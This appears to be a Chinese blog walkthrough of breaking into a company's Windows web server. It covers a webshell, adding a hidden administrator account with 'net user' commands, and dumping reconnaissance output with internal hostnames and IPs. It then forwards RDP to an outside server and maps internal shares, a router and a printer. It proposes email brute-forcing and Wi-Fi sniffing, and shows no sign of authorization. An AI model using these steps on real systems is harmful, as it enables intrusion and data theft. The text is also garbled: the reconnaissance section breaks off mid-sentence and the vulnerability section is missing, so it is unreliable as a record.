浅谈渗透测试实战
0x00 前言
最近,因为工作原因一直也没时间更新博客。好不容易忙完了一阵,眼看就要过年了,先提前祝大家新年快乐!
很多时候,在看白帽子们的漏洞的时候总有一种感觉就是把web渗透简单地理解成了发现web系统漏洞进而获取webshell。其实,个人感觉一个完整的渗透(从黑客的角度去思考问题)应该是以尽一切可能获取目标的系统或者服务器的最高权限,尽可能的发现足够多的敏感信息。这个过程应该包括但不限于以下几个方面:
信息刺探: 待渗透目标的系统,人员,组织信息等
漏洞侦测: 所有与待渗透目标相关的系统的漏洞侦测
系统提权: 利用现有的信息对已经获取的系统进行提权从而获取最高控制权限
内网渗透: 利用以获取的系统作为跳板进一步扩大战果,重复以上三步获取更多的系统权限和内网敏感信息
下面,是我分享地一个相对完整的渗透实战,仅供大家交流参考,所有的操作在本文公开以前均已恢复,请大家切勿用于非法目的。
0x01 信息刺探
作为渗透测试的第一步,也是最重要地一步便是信息刺探。孙子兵法有云:“知己知彼,百战不殆”。
首先是选择实战的目标站点,搜集到的信息如下:
URL: http:/index.php , shell_file: http:/****/1ndex.php
果然漏洞确实存在,而且我们也顺利地getshell了,那么是不是意味着我们的渗透已经结束了呢?no,no,no(重要的事情说3遍),其实真正的渗透才刚刚开始。
0x03 系统提权
我们发现这是一个Windows 2008 R2的服务器,既然我们已经拿到了webshell,接下来考虑的事情就应该是,我能不能获得管理员权限?
首先,在菜刀中执行命令: whoami 看看现在的shell是在什么权限下运行的,如下:
可以看出我们的shell是在system权限下运行的,那么也就表示我们可以很容易的添加一个管理员帐户,命令如下:
net user administer <password> /add net localgroup administrators administer /add
0x04 内网渗透
接下来,我们就需要经一步查看和收集系统的一些常见信息来帮助我们进一步的内网渗透,通常包括以下信息:
1. 系统信息 – systeminfo
主机名: EESTSWEB01 OS 名称: Microsoft Windows Server 2008 R2 Enterprise OS 版本: 6.1.7601 Service Pack 1 Build 7601 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构件类型: Multiprocessor Free 注册的所有人: Windows 用户 注册的组织: 产品 ID: 00486-OEM-8400691-20006 初始安装日期: 2015/5/14, 22:54:49 系统启动时间: 2015/8/3, 16:20:27 系统制造商: Microsoft Corporation 系统型号: Virtual Machine 系统类型: x64-based PC 处理器: 安装了 2 个处理器。 [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~1598 Mhz [02]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~1598 Mhz BIOS 版本: American Megatrends Inc. 090006 , 2012/5/23 Windows 目录: C:\Windows 系统目录: C:\Windows\system32 启动设备: \Device\HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 2,048 MB 可用的物理内存: 576 MB 虚拟内存: 最大值: 4,095 MB 虚拟内存: 可用: 2,647 MB 虚拟内存: 使用中: 1,448 MB 页面文件位置: C:\pagefile.sys 域: WORKGROUP 登录服务器: 暂缺 修补程序: 安装了 1 个修补程序。 [01]: KB976902 网卡: 安装了 1 个 NIC。 [01]: Microsoft 虚拟机总线网络适配器 连接名: 本地连接 启用 DHCP: 否 IP 地址 [01]: 192.168.0.10 [02]: fe80::98f7:e8a:3eeb:ff6
2. IP信息 – ipconfig /all
Windows IP 配置 主机名 . . . . . . . . . . . . . : EESTSWEB01 主 DNS 后缀 . . . . . . . . . . . : 节点类型 . . . . . . . . . . . . : 混合 IP 路由已启用 . . . . . . . . . . : 否 WINS 代理已启用 . . . . . . . . . : 否 以太网适配器 本地连接: 连接特定的 DNS 后缀 . . . . . . . : 描述. . . . . . . . . . . . . . . : Microsoft 虚拟机总线网络适配器 物理地址. . . . . . . . . . . . . : 00-15-5D-00-02-01 DHCP 已启用 . . . . . . . . . . . : 否 自动配置已启用. . . . . . . . . . : 是 本地链接 IPv6 地址. . . . . . . . : fe80::98f7:e8a:3eeb:ff6%11(首选) IPv4 地址 . . . . . . . . . . . . : 192.168.0.10(首选) 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.0.230 DHCPv6 IAID . . . . . . . . . . . : 234886493 DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-1C-E6-6D-9C-00-15-5D-00-02-01 DNS 服务器 . . . . . . . . . . . : 192.168.0.1 TCPIP 上的 NetBIOS . . . . . . . : 已启用 隧道适配器 isatap.{ADD2E201-9C5D-480F-8E29-F722627ABA6E}: 媒体状态 . . . . . . . . . . . . : 媒体已断开 连接特定的 DNS 后缀 . . . . . . . : 描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter 物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP 已启用 . . . . . . . . . . . : 否 自动配置已启用. . . . . . . . . . : 是 隧道适配器 Teredo Tunneling Pseudo-Interface: 连接特定的 DNS 后缀 . . . . . . . : 描述. . . . . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter 物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP 已启用 . . . . . . . . . . . : 否 自动配置已启用. . . . . . . . . . : 是 IPv6 地址 . . . . . . . . . . . . : 2001:0:7834:496d:18cf:134e:3f57:fff5(首选) 本地链接 IPv6 地址. . . . . . . . : fe80::18cf:134e:3f57:fff5%18(首选) 默认网关. . . . . . . . . . . . . : :: TCPIP 上的 NetBIOS . . . . . . . : 已禁用
3. 开放的端口信息 – netstat -an
活动连接 协议 本地地址 外部地址 状态 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:443 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING TCP 0.0.0.0:10050 0.0.0.0:0 LISTENING TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING TCP 192.168.0.10:80 125.39.30.131:11235 ESTABLISHED TCP 192.168.0.10:139 0.0.0.0:0 LISTENING TCP 192.168.0.10:10050 192.168.0.11:40635 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40637 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40645 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40656 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40755 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40786 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40798 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40811 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40829 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40945 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40980 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40986 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:40991 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41006 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41115 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41148 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41161 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41171 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41187 TIME_WAIT TCP 192.168.0.10:10050 192.168.0.11:41306 TIME_WAIT TCP [::]:80 [::]:0 LISTENING TCP [::]:135 [::]:0 LISTENING TCP [::]:443 [::]:0 LISTENING TCP [::]:445 [::]:0 LISTENING TCP [::]:3306 [::]:0 LISTENING TCP [::]:3389 [::]:0 LISTENING TCP [::]:10050 [::]:0 LISTENING TCP [::]:47001 [::]:0 LISTENING TCP [::]:49152 [::]:0 LISTENING TCP [::]:49153 [::]:0 LISTENING TCP [::]:49154 [::]:0 LISTENING TCP [::]:49155 [::]:0 LISTENING TCP [::]:49156 [::]:0 LISTENING TCP [::]:49157 [::]:0 LISTENING TCP [::1]:3306 [::1]:65055 TIME_WAIT TCP [::1]:3306 [::1]:65056 TIME_WAIT TCP [::1]:3306 [::1]:65057 TIME_WAIT TCP [::1]:65055 [::1]:3306 TIME_WAIT TCP [::1]:65056 [::1]:3306 TIME_WAIT TCP [::1]:65057 [::1]:3306 TIME_WAIT TCP [::1]:65058 [::1]:3306 TIME_WAIT TCP [::1]:65059 [::1]:3306 TIME_WAIT UDP 0.0.0.0:500 *:* UDP 0.0.0.0:4500 *:* UDP 0.0.0.0:5355 *:* UDP 192.168.0.10:137 *:* UDP 192.168.0.10:138 *:* UDP [::]:500 *:* UDP [::]:4500 *:* UDP [::]:5355 *:*
4. 运行的进程信息 – tasklist
映像名称 PID 会话名 会话# 内存使用 ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 24 K System 4 Services 0 364 K smss.exe 492 Services 0 1,612 K csrss.exe 576 Services 0 8,184 K wininit.exe 628 Services 0 5,884 K services.exe 728 Services 0 13,224 K lsass.exe 736 Services 0 27,344 K lsm.exe 744 Services 0 7,500 K svchost.exe 836 Services 0 11,872 K svchost.exe 916 Services 0 9,888 K svchost.exe 1000 Services 0 22,876 K svchost.exe 192 Services 0 46,352 K svchost.exe 592 Services 0 17,884 K svchost.exe 520 Services 0 22,124 K svchost.exe 932 Services 0 21,616 K svchost.exe 1084 Services 0 14,688 K spoolsv.exe 1248 Services 0 20,832 K vmicsvc.exe 1280 Services 0 7,188 K vmicsvc.exe 1332 Services 0 10,788 K vmicsvc.exe 1356 Services 0 5,200 K vmicsvc.exe 1384 Services 0 5,540 K vmicsvc.exe 1408 Services 0 5,464 K httpd.exe 1456 Services 0 18,144 K svchost.exe 1492 Services 0 10,124 K mysqld.exe 1540 Services 0 474,496 K svchost.exe 1636 Services 0 3,740 K zabbix_agentd.exe 1708 Services 0 8,416 K httpd.exe 2064 Services 0 204,668 K svchost.exe 2748 Services 0 10,340 K svchost.exe 2784 Services 0 6,744 K svchost.exe 2716 Services 0 5,560 K msdtc.exe 572 Services 0 8,416 K csrss.exe 3428 Console 2 7,100 K winlogon.exe 2704 Console 2 5,892 K LogonUI.exe 3052 Console 2 17,080 K mmc.exe 1124 Services 0 38,828 K csrss.exe 1808 RDP-Tcp#0 1 17,060 K winlogon.exe 812 RDP-Tcp#0 1 7,704 K taskhost.exe 5040 RDP-Tcp#0 1 8,212 K rdpclip.exe 3608 RDP-Tcp#0 1 8,072 K dwm.exe 4772 RDP-Tcp#0 1 7,032 K explorer.exe 4968 RDP-Tcp#0 1 79,612 K cmd.exe 4920 RDP-Tcp#0 1 3,820 K conhost.exe 4624 RDP-Tcp#0 1 6,052 K xampp-control.exe 4364 RDP-Tcp#0 1 15,992 K taskmgr.exe 4548 RDP-Tcp#0 1 12,048 K TrustedInstaller.exe 3188 Services 0 9,748 K cmd.exe 3920 Services 0 4,016 K conhost.exe 3944 Services 0 3,668 K cmd.exe 2988 Services 0 4,028 K tasklist.exe 5036 Services 0 6,148 K WmiPrvSE.exe 3620 Services 0 7,556 K
5. 局域网中公开的文件共享 – net view
服务器名称 注解 ------------------------------------------------------------------------------- \\EESHQAP02 \\EESHR eeshr \\EESTS006 \\EESTSWEB01 Web Server \\EESTSWEB02 \\EESWEBSQL02 \\FORLOG forlog share \\FORLOG-IIS \\JERRY JERRY \\SMILINGM-2511FC 命令成功完成。
6. 局域网中的域的信息 – net view /domain
Domain ------------------------------------------------------------------------------- EES WORKGROUP 命令成功完成。
分析并提取有用信息:
主机名: EESTSWEB01
内网IP: 192.168.0.10
内网网关: 192.168.0.230
操作系统: Windows 2008 R2
所在域: WORKGROUP
杀毒软件:未发现
WEB服务器组件: XAMPP
端口: 80(HTTP), 3306(MySQL), 3389(RDP)
局域网所有的域: EES, WORKGROUP
根据上面的分析,我们发现目标服务器已经开放了RDP(3389)但是服务器是在内网我们无法直接外连。既然如此,我们可以考虑端口转发到我们自己的外网服务器然后在连接。
第一步, 上传端口转发工具(可以参考http://avfisher.win/archives/318)
第二步,外网服务器开启端口监听端口5001和5002
第三步,内网服务器开启端口转发,将本地端口3389转发到外网服务器监听的端口5002上
第四步,发起RDP外连外网服务器的端口5001
现在,我们已经成功地利用端口转发并RDP连接到了内网这台服务器上了。
打开XAMPP,我们可以很容易的查看网站的数据库数据:
为了进一步渗透内网,我们需要对内网进行扫描,看看内网开启了哪些服务,这里我推荐一款快速扫描内网的工具(MyLanViewer),结果如下:
内网的一些共享目录:(各种内部资料和信息)
一些内网的系统:
私有云云存储管理系统:(可以为共享目录设置权限)
无线路由器:(内网流量嗅探和截取)
打印机:(获取到了部分企业联系人的通讯录)
事实上,至此整个渗透仍旧没有结束,我们目前只是获得了一台WORKGROUP的服务器,而实际上仍旧有10几台服务器在EES域里,那么我们接下来该怎么突破呢?
其实可利用的思路还有很多,比如:
1. 结合上面我们在内网扫到的通讯录以及我们之前搜集到的子域名邮箱 mail.***.sh.cn(见0x01),我们可以先根据邮箱地址生成一个密码字典进行暴力破解,看看能不能在用户的邮箱中获取其他有用的信息
2. 继续挖掘和分析其他的子站可能存在的漏洞继而逐步突破
3. 尝试破解上面获得的无线路由器密码嗅探网络流量获取企业员工的用户名和密码
在此就不再深入下去了!总之,渗透是一门特别的艺术,必须善于运用一切已获取的信息不断变换思路最终达成目的。
0x05 总结
渗透是一个特别需要经验,细心和耐心的工作,你必须从黑客的角度去考虑每一个可能存在的漏洞进而利用并扩大战果。
总结上面的这次实战的结果,可以简单概括成以下几点:
耐心: 必须有足够的耐心去搜集目标的一切可能相关的信息
细心: 仔细地观察和了解你的目标,不放过每一个细节,从细节中获得突破口
思路: 善于总结和归纳所有的已知信息,并结合在平时积累的各种渗透思路进一步扩大战果
总结: 把每次实战中接触和学习到的东西总结起来并从中提取出实用的思路以便下次实战中的再次利用